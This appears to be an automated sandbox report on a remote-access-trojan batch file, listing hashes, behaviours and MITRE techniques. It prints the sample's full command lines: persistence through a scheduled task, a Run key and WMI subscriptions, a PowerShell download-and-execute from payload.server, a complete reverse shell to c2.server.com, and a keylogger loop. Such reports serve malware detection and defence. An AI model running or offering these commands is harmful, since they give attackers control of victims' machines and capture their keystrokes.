Analysis
- max time kernel
149s - max time network
128s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 01:46
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_24069_014146.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_24069_014146.bat
Resource
win11-20260513-en
General
- Target rat_build_24069_014146.bat
- Size 4KB
- Sample260529-b7efyah13q
- SHA256 29ed382aa19060051a62b02528afa7d85d268416afd28511c54784aed5ed6123
- MD5 3763e28684444b5fab178ab8d6c605ed
- SHA1 5079b3475a008403fc0a5dbc6c8fd2a6655c24a6
- SHA512 904e549a88628c290d9ab00ca2e07f65fad33bb6fc2f785fd944a0d491039ccb82ce07f801cc586f9c073c2f8048e11d5ee619a951a4265eec3ff4da097e1649
- SSDEEP 96:UI1SW05RRh3agsBNuq3QRUzyU4+lcRgNbwGiFgZk8mvlo1NzL2:US05DMgsLu1tUXlcRtGiFgkHlazL2
- TLSH T112B1E913A796712085F85A14C9333C1497ACE6FB1304D98DF748DDCC4E4CA83E959AEB
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_24069.ps1
Signatures
-
pid Process 5596 powershell.exe 5728 powershell.exe 2932 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_24069 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_24069.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 1040 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2636 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 2712 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2408 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 5728 powershell.exe 5728 powershell.exe 5596 powershell.exe 5596 powershell.exe 2932 powershell.exe 2932 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3568 WMIC.exe Token: SeSecurityPrivilege 3568 WMIC.exe Token: SeTakeOwnershipPrivilege 3568 WMIC.exe Token: SeLoadDriverPrivilege 3568 WMIC.exe Token: SeSystemProfilePrivilege 3568 WMIC.exe Token: SeSystemtimePrivilege 3568 WMIC.exe Token: SeProfSingleProcessPrivilege 3568 WMIC.exe Token: SeIncBasePriorityPrivilege 3568 WMIC.exe Token: SeCreatePagefilePrivilege 3568 WMIC.exe Token: SeBackupPrivilege 3568 WMIC.exe Token: SeRestorePrivilege 3568 WMIC.exe Token: SeShutdownPrivilege 3568 WMIC.exe Token: SeDebugPrivilege 3568 WMIC.exe Token: SeSystemEnvironmentPrivilege 3568 WMIC.exe Token: SeRemoteShutdownPrivilege 3568 WMIC.exe Token: SeUndockPrivilege 3568 WMIC.exe Token: SeManageVolumePrivilege 3568 WMIC.exe Token: 33 3568 WMIC.exe Token: 34 3568 WMIC.exe Token: 35 3568 WMIC.exe Token: 36 3568 WMIC.exe Token: SeIncreaseQuotaPrivilege 3568 WMIC.exe Token: SeSecurityPrivilege 3568 WMIC.exe Token: SeTakeOwnershipPrivilege 3568 WMIC.exe Token: SeLoadDriverPrivilege 3568 WMIC.exe Token: SeSystemProfilePrivilege 3568 WMIC.exe Token: SeSystemtimePrivilege 3568 WMIC.exe Token: SeProfSingleProcessPrivilege 3568 WMIC.exe Token: SeIncBasePriorityPrivilege 3568 WMIC.exe Token: SeCreatePagefilePrivilege 3568 WMIC.exe Token: SeBackupPrivilege 3568 WMIC.exe Token: SeRestorePrivilege 3568 WMIC.exe Token: SeShutdownPrivilege 3568 WMIC.exe Token: SeDebugPrivilege 3568 WMIC.exe Token: SeSystemEnvironmentPrivilege 3568 WMIC.exe Token: SeRemoteShutdownPrivilege 3568 WMIC.exe Token: SeUndockPrivilege 3568 WMIC.exe Token: SeManageVolumePrivilege 3568 WMIC.exe Token: 33 3568 WMIC.exe Token: 34 3568 WMIC.exe Token: 35 3568 WMIC.exe Token: 36 3568 WMIC.exe Token: SeIncreaseQuotaPrivilege 4844 WMIC.exe Token: SeSecurityPrivilege 4844 WMIC.exe Token: SeTakeOwnershipPrivilege 4844 WMIC.exe Token: SeLoadDriverPrivilege 4844 WMIC.exe Token: SeSystemProfilePrivilege 4844 WMIC.exe Token: SeSystemtimePrivilege 4844 WMIC.exe Token: SeProfSingleProcessPrivilege 4844 WMIC.exe Token: SeIncBasePriorityPrivilege 4844 WMIC.exe Token: SeCreatePagefilePrivilege 4844 WMIC.exe Token: SeBackupPrivilege 4844 WMIC.exe Token: SeRestorePrivilege 4844 WMIC.exe Token: SeShutdownPrivilege 4844 WMIC.exe Token: SeDebugPrivilege 4844 WMIC.exe Token: SeSystemEnvironmentPrivilege 4844 WMIC.exe Token: SeRemoteShutdownPrivilege 4844 WMIC.exe Token: SeUndockPrivilege 4844 WMIC.exe Token: SeManageVolumePrivilege 4844 WMIC.exe Token: 33 4844 WMIC.exe Token: 34 4844 WMIC.exe Token: 35 4844 WMIC.exe Token: 36 4844 WMIC.exe Token: SeIncreaseQuotaPrivilege 4844 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4576 wrote to memory of 2408 4576 cmd.exe 81 PID 4576 wrote to memory of 2712 4576 cmd.exe 82 PID 4576 wrote to memory of 3568 4576 cmd.exe 83 PID 4576 wrote to memory of 4844 4576 cmd.exe 84 PID 4576 wrote to memory of 4348 4576 cmd.exe 85 PID 4576 wrote to memory of 2636 4576 cmd.exe 86 PID 4576 wrote to memory of 1040 4576 cmd.exe 90 PID 4576 wrote to memory of 5728 4576 cmd.exe 91 PID 4576 wrote to memory of 5596 4576 cmd.exe 92 PID 4576 wrote to memory of 2932 4576 cmd.exe 93 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_24069_014146.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4576 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_24069" /tr "C:\Users\Admin\AppData\Local\Temp\_24069.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2408
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_24069" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_24069.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:2712
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_24069", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3568
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_24069", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_24069.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4844
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_24069.txt2⤵PID:4348
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:2636
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:1040
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_24069.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5728
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5596
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2932
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 1c7d0dfa0b9e27b98110fc71792ac5ccc4fa3fd061515e8606646b07d97e02fc
- MD5 9b6d2871dce823f332a21bf6d76a703d
- SHA1 5aa5eba59c7c7c8a46b59dd3131ce0f024a548d7
- SHA512 0d19a5b6e31973681fd3a1defac90bd7e4566c662af18d3f890b7e5d6e072c71e32804e609d4b53cc11e773da72bb13276449f3a334fb13ebddeb320f640796b
- TLSH T1D8119733B39CC174C8D5117A1089AD01B2B5C3CB049EDECB7A84C408E57F58ADB641A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r54dygth.r3c.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH